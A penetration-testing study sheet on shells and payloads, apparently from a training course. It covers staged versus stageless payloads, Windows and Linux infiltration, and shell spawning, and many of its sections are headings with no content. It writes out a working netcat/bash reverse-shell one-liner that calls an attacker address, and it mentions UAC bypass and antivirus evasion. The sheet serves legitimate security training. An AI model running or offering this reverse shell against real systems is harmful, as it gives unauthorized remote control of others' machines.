Shells & Payloads: Payloads Overview

Payloads Overview

Types of Payloads

  • Staged Payloads

    • Sends initial stage first, then downloads main payload

    • Better for environments with sufficient memory

    • Example naming: windows/meterpreter/reverse_tcp

  • Stageless Payloads

    • Entire payload sent at once

    • Ideal for low-bandwidth environments

    • Example naming: windows/meterpreter_reverse_tcp

Essential Payload Commands

Netcat/Bash Reverse Shell

rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 10.10.14.12 7777 > /tmp/f

PowerShell Reverse Shell

MSFvenom Payload Generation

  • List Available Payloads

  • Linux Payload Creation

  • Windows Payload Creation

Windows System Infiltration

Fingerprinting Windows Hosts

  • TTL Check via Ping

  • Nmap OS Detection

Key Windows Ports

  • 139, 445: NetBIOS/SMB

  • 135: MSRPC

  • 443: HTTPS

Common Windows Payloads

  1. DLLs: For privilege escalation and UAC bypass

  2. Batch Files (.bat): Automation scripts

  3. VBScript (.vbs): Client-side automation

  4. MSI Files: Installation packages

  5. PowerShell Scripts: System automation and exploitation

Metasploit Attack Workflow

Linux System Infiltration

Pre-Exploitation Checklist

Interactive Shell Spawning Methods

  • Python TTY Shell

  • Basic Shell Spawning

  • VIM Shell Escape

Permission Checks

Best Practices

Pre-Exploitation

  • Always perform thorough reconnaissance

  • Document all findings and attempted exploits

  • Verify target scope and permissions

Post-Exploitation

  • Maintain access securely

  • Document all changes made to the system

  • Clean up after testing is complete

Security Considerations

  • Use staged payloads for better reliability

  • Consider antivirus evasion techniques

  • Always use secure channels for communication